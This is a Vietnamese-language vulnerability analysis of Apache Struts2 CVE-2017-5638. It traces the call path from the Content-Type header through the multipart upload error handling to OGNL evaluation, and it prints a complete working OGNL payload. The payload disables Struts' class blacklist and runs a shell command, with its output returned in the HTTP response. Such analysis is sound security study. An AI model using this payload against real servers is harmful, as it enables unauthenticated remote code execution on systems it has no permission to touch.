

# H1 Struts2

## H1 CVE-2017-5638

**Version:** Struts 2.3.5 - Struts 2.3.31 & Struts 2.5 - Struts 2.5.10

**Description:** Thông qua header `Content-Type`, dựa trên lỗ hổng ở phần xử lý upload, attacker có thể inject OGNL dẫn đến RCE

**Condition:** Non authen

## H2 Phân tích

struts2-core-2.5.10.jar!\org\apache\struts2\dispatcher\Dispatcher.class

```
578 @ public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
579     if (request instanceof StrutsRequestWrapper) {
580         return request;
581     } else {
582         String content_type = request.getContentType();
583         Object request;
584         if (content_type != null && content_type.contains("multipart/form-data")) {
585             MultiPartRequest mpr = this.getMultiPartRequest();
586             LocaleProvider provider = (LocaleProvider) this.getContainer().getInstance(LocaleProvider.class);
587             request = new MultiPartRequestWrapper(mpr, request, this.getSaveDir(), provider, this.disableRequestAttributeValueStackLookup);
588         } else {
589             request = new StrutsRequestWrapper(request, this.disableRequestAttributeValueStackLookup);
590         }
591         return (HttpServletRequest) request;
592     }
593 }
594 }
```

- Lỗi bắt đầu xuất phát từ dòng 584 ở class `Dispatcher`, chỉ cần request với header `Content-Type` có chứa chuỗi `multipart/form-data` nó sẽ nhảy vào hàm parse của upload file

struts2-core-2.5.10.jar!\org\apache\struts2\dispatcher\multipart\MultiPartRequestWrapper.class

```
30 @ public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request, String saveDir, LocaleProvider provider, boolean disableRequestAttributeValueStackLookup) {
31     super(request, disableRequestAttributeValueStackLookup); disableRequestAttributeValueStackLookup: false
32     this.defaultLocale = Locale.ENGLISH;
33     this.errors = new ArrayList(); errors: size = 0
34     this.multi = multiPartRequest; multiPartRequest: JakartaMultiPartRequest@7321
35     this.defaultLocale = provider.getLocale(); defaultLocale: "en" provider: DefaultLocaleProvider@6326
36     this.setLocale(request);
37
38     try {
39         this.multi.parse(request, saveDir); multi: JakartaMultiPartRequest@7321 request: RequestFacade@6323 saveDir: "C:\Users\Admin\IntelliJ"
40         Iterator i$ = this.multi.getErrors().iterator();
41
42         while(i$.hasNext()) {
43             LocalizedMessage error = (LocalizedMessage)i$.next();
44             this.addError(error);
45         }
46     } catch (IOException var8) {
47         LOG.warn(var8.getMessage(), var8);
48         this.addError(this.buildErrorMessage(var8, new Object[] {var8.getMessage()}));
49     }
```

- Lúc này sẽ nhảy đến hàm parse `JakartaMultiPartRequest`

struts2-core-2.5.10.jar!\org\apache\struts2\dispatcher\multipart\JakartaMultiPartRequest.class

```
42 @ public void parse(HttpServletRequest request, String saveDir) throws IOException { request: RequestFacade@6323 saveDir: "C:\Users\Admin\IntelliJ"
43     LocalizedMessage errorMessage;
44     try {
45         this.setLocale(request);
46         this.processUpload(request, saveDir); request: RequestFacade@6323 saveDir: "C:\Users\Admin\IntelliJ\workspace\Tomcat 7.0.5"
47     } catch (FileUploadException var6) {
48         LOG.warn("Request exceeded size limit", var6);
49         if (var6 instanceof SizeLimitExceededException) {
50             SizeLimitExceededException ex = (SizeLimitExceededException) var6;
51             errorMessage = this.buildErrorMessage(var6, new Object[] {ex.getPermittedSize(), ex.getActualSize()});
52         } else {
53             errorMessage = this.buildErrorMessage(var6, new Object[0]);
54         }
55
56         if (!this.errors.contains(errorMessage)) {
57             this.errors.add(errorMessage);
58         }
59     }
```

- Lúc này ở hàm `JakartaMultiPartRequest` sẽ vào `processUpload`

commons-fileupload-

1.3.2.jar!\org\apache\commons\fileupload\FileUploadBase.class

```
320 if (null != contentType && contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) {
321     InputStream input = ctx.getInputStream();
322     int contentLengthInt = ctx.getContentLength();
323     long requestSize = UploadContext.class.isAssignableFrom(ctx.getClass()) ? ((UploadContext)ctx).getContentLength() : (long)contentLengthInt;
324     if (FileUploadBase.this.sizeMax >= 0) {
325         if (requestSize != -1L && requestSize > FileUploadBase.this.sizeMax) {
326             throw new FileUploadBase.SizeLimitExceededException(String.format("%s the request was rejected because its size (%s) is greater than the configured maximum size (%s)", ctx.getRequest().getMethod(), requestSize, FileUploadBase.this.sizeMax));
327         }
328     }
329     input = new LimitedInputStream((InputStream)input, FileUploadBase.this.sizeMax) {
330         protected void raiseError(long pSizeMax, long pCount) throws IOException {
331             FileUploadException ex = new FileUploadBase.SizeLimitExceededException(String.format("%s the request was rejected because its size (%s) is greater than the configured maximum size (%s)", ctx.getRequest().getMethod(), requestSize, FileUploadBase.this.sizeMax));
332             throw new FileUploadBase.FileUploadIOException(ex);
333         }
334     };
335 }
```

- Lúc này sẽ tiến hành kiểm tra lại **Content-Type** một lần nữa , lúc này payload sẽ bung ra lỗi và nhảy vào **Interceptor**

struts2-core-2.5.10.jar!\org\apache\struts2\interceptor\FileUploadInterceptor.class

```
89 }
90
91 MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper)request; multiWrapper: MultiPartRequestWrapper@8039 request: MultiPartRequestWrapper@8039
92 if (multiWrapper.hasErrors()) {
93     Iterator i$ = multiWrapper.getErrors().iterator(); i$: ArrayList$Iterator@8088 multiWrapper: MultiPartRequestWrapper@8039
94     while(i$.hasNext()) {
95         LocalizedMessage error = (LocalizedMessage)i$.next(); error: LocalizedMessage@8055 i$: ArrayList$Iterator@8088
96         if (validation != null) {
97             validation.addActionError(LocalizedTextUtil.findText(error.getClass(), error.getTextKey(), ActionContext.getContext().getLocale()));
98         }
99     }
100 }
101
102 Enumeration fileParameterNames = multiWrapper.getFileParameterNames();
103 }
```

- Lúc này thông báo **error** sẽ được xử lý bởi function **LocalizedTextUtil.findText()**

struts2-core-2.5.10.jar!\com\opensymphony\work2\util\LocalizedTextUtil.class

```
public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) {
    ValueStack valueStack = ActionContext.getContext().getValueStack(); valueStack: OgnlValueStack@6613
    return findText(aClass, aTextName, locale, defaultMessage, args, valueStack); aClass: "class org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest"
}

public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args, ValueStack valueStack) {
    String indexedTextName = null;
    if (aTextName == null) {
        LOG.warn("Trying to find text with null key!");
    }
    LocalizedTextUtil.findText()
}

Log: Tomcat Catalina Log
Variables
static members of LocalizedTextUtil
aClass = (Class@4289) "class org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest"
aTextName = "struts.messages.upload.error.invalidContentTypeException"
locale = (Locale@6544) "en"
defaultMessage = "the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %s (%s = 'multipart/form-data').(fdm=@ogni.OgnlContext@DE...)"
value = (char[910]@6616)
hash = 0
args = (Object[0]@6600)
valueStack = (OgnlValueStack@6613)
```

- Ở method **findText** sẽ get **valueStack** và nhận vào **defaultMessage**
- Sau một chuỗi thực hiện , sẽ nhảy tới module **TextParseUtil** ở **buildMessageFormat**

```
if (message != null) {
    MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
    String msg = formatWithNullDetection(mf, args);
    result = new LocalizedTextUtil.GetDefaultMessageReturnArg(msg, found);
}
}
```

struts2-core-2.5.10.jar!\com\opensymphony\work2\util\TextParseUtil.class

```
21 public static String translateVariables(String expression, ValueStack stack) {
22     return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null).toString();
23 }
24
25 public static String translateVariables(String expression, ValueStack stack, TextParseUtil.ParsedValueEvaluator evaluator) {
26     return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, evaluator).toString();
27 }
```

```

package com.opensymphony.xwork2.util;

import ...

public class TextParseUtil {
    public TextParseUtil() {
    }

    public static String translateVariables(String expression, ValueStack stack) {
        expression: "the request doesn't contain a multipart/form-data
        return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null).toString();
    }

    public static String translateVariables(String expression, ValueStack stack, TextParseUtil.ParsedValueEvaluator evaluator) {
        return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, evaluator).toString();
    }

    public static String translateVariables(char open, String expression, ValueStack stack) {
        return translateVariables(open, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null).toString();
    }

    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType) {
        return translateVariables(open, expression, stack, asType, (TextParseUtil.ParsedValueEvaluator)null);
    }
}

```

```

1 return translateVariables(new char[]{'$', '%'}, expression,
    stack, String.class,
    (TextParseUtil.ParsedValueEvaluator)null).toString();

```

- Với chuỗi expression lúc này là thông báo lỗi (như hình)
- Và payload sẽ được execute

```

public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final TextParseUtil.
    TextParseUtil.ParsedValueEvaluator ognEval = new TextParseUtil.ParsedValueEvaluator() { ognEval: TextParseUtil.$1@6692
    public Object evaluate(String parsedValue) {
        Object o = stack.findValue(parsedValue, asType); asType: "class java.lang.String"
        if (evaluator != null && o != null) {
            o = evaluator.evaluate(o.toString()); evaluator: null
        }
        return o;
    }
};

TextParser parser = (TextParser)((Container)stack.getContext().get("com.opensymphony.xwork2.ActionContext.container")).getInstance(TextPa
return parser.evaluate(openChars, expression, ognEval, maxLoopCount); parser: ognTextParser$6304 openChars: [$, %] expression: "the

```

## H2 Tóm lại workflow khai thác

1. struts2-core-2.5.10.jar!\org\apache\struts2\dispatcher\Dispatcher.class : **584**
2. struts2-core-2.5.10.jar!\org\apache\struts2\dispatcher\Dispatcher.class : **587**
3. struts2-core-2.5.10.jar!\org\apache\struts2\dispatcher\multipart\JakartaMultiPartRequest.class : **39**
4. struts2-core-2.5.10.jar!\org\apache\struts2\dispatcher\multipart\JakartaMultiPartRequest.class : **46**
5. commons-fileupload-1.3.2.jar!\org\apache\commons\fileupload\FileUploadBase.class : **520**
6. struts2-core-2.5.10.jar!\org\apache\struts2\interceptor\FileUploadInterceptor.class : **98**
7. struts2-core-2.5.10.jar!\com\opensymphony\work2\util\LocalizedTextUtil.class : **216**
8. struts2-core-2.5.10.jar!\com\opensymphony\work2\util\LocalizedTextUtil.class : **511**
9. struts2-core-2.5.10.jar!\com\opensymphony\work2\util\LocalizedTextUtil.class : **403**
10. struts2-core-2.5.10.jar!\com\opensymphony\work2\util\TextParseUtil.class : **67**
11. struts2-core-2.5.10.jar!\com\opensymphony\work2\util\TextParseUtil.class : **166**

- Đầu tiên sẽ khi server nhận `Content-type` với trường `multipart/form-data` sẽ được chuyển tới `processUpload` , sau một chuỗi quá trình sẽ bung ra lỗi ở

`FileUploadBase` và chuyển tới `Interceptor` của `FileUpload`, tiếp tục các quá trình xử lý thông báo lỗi sẽ dẫn tới `TextParseUtil` để thực thi payloadd dưới dạng `OGNL`

## H2 Phân tích payload

Request:

```
1 GET /struts2_showcase_war_exploded/index.action HTTP/1.1
2 Host: localhost:8080
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0)
  Gecko/20100101 Firefox/68.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Content-Type: **PAYLOAD**
9 Cookie: JSESSIONID=C33AE8564A8456AACA8BBBF9BA7B695E
10
```

Payload

```
1 ${(#_='multipart/form-data').
  (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
  (#_memberAccess=#dm):
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
  (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).
  (#ognlUtil.getExcludedClasses().clear()).
  (#context.setMemberAccess(#dm))).(#cmd='whoami').(#iswin=
  (@java.lang.System@getProperty('os.name').toLowerCase().contains(
  'win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-
  c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
  (#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=
  (@org.apache.struts2.ServletActionContext@getResponse()).getOutputStream()).
  (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```

- Strut2 sử dụng OGNL thay vì EL
- Như đã phân tích, strut2 thấy chuỗi bắt đầu bằng `${...}` hay `%{...}` sẽ tiến hành thực thi ngay
- **Phân tích payload:**

```
1 (#_='multipart/form-data')
```

- Khi nhận chuỗi `multipart/formdata` strut2 sẽ nhận là 1 tiến trình upload

```

1  (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
2  (#_memberAccess?(#_memberAccess=#dm):
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
  (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).
  (#ognlUtil.getExcludedClasses().clear()).
  (#context.setMemberAccess(#dm))))).

```

- Struts2 có sử dụng 1 số blacklist để hạn chế bị tấn công

1. `#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS` : tạo một biến `dm` là `DEFAULT_MEMBER_ACCESS`
2. `(#_memberAccess?(#_memberAccess=#dm))` , replace trường `memberAccess`
3. `((#container=#context['com.opensymphony.xwork2.ActionContext.container'])`  
`)` lấy container ở `ActionContext`
4. `(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))` dựa vào `#context` để lấy tiếp class `OgnlUtil`
5. `(#ognlUtil.getExcludedPackageNames().clear())` và  
`(#ognlUtil.getExcludedClasses().clear())` tiến hành clear các class và package bị filter
6. `(#context.setMemberAccess(#dm))` set `DEFAULT_MEMBER_ACCESS` hiện tại.

struts2-core-2.5.10.jar!\struts-default.xml

```

<constant name="struts.excludedClasses"
  value="
    java.lang.Object,
    java.lang.Runtime,
    java.lang.System,
    java.lang.Class,
    java.lang.ClassLoader,
    java.lang.Shutdown,
    java.lang.ProcessBuilder,
    ognl.OgnlContext,
    ognl.ClassResolver,
    ognl.TypeConverter,
    ognl.MemberAccess,
    ognl.DefaultMemberAccess,
    com.opensymphony.xwork2.ognl.SecurityMemberAccess,
    com.opensymphony.xwork2.ActionContext" />

```

- Do đó ở đoạn payload này sẽ set `memberAccess` lại thành `DEFAULT_MEMBER_ACCESS` để có thể thực hiện các command bị cấm và gọi đến các package bị cấm
- Phần còn lại của POC sẽ gọi đến package `System` thực hiện execute cmd và in trả về kết quả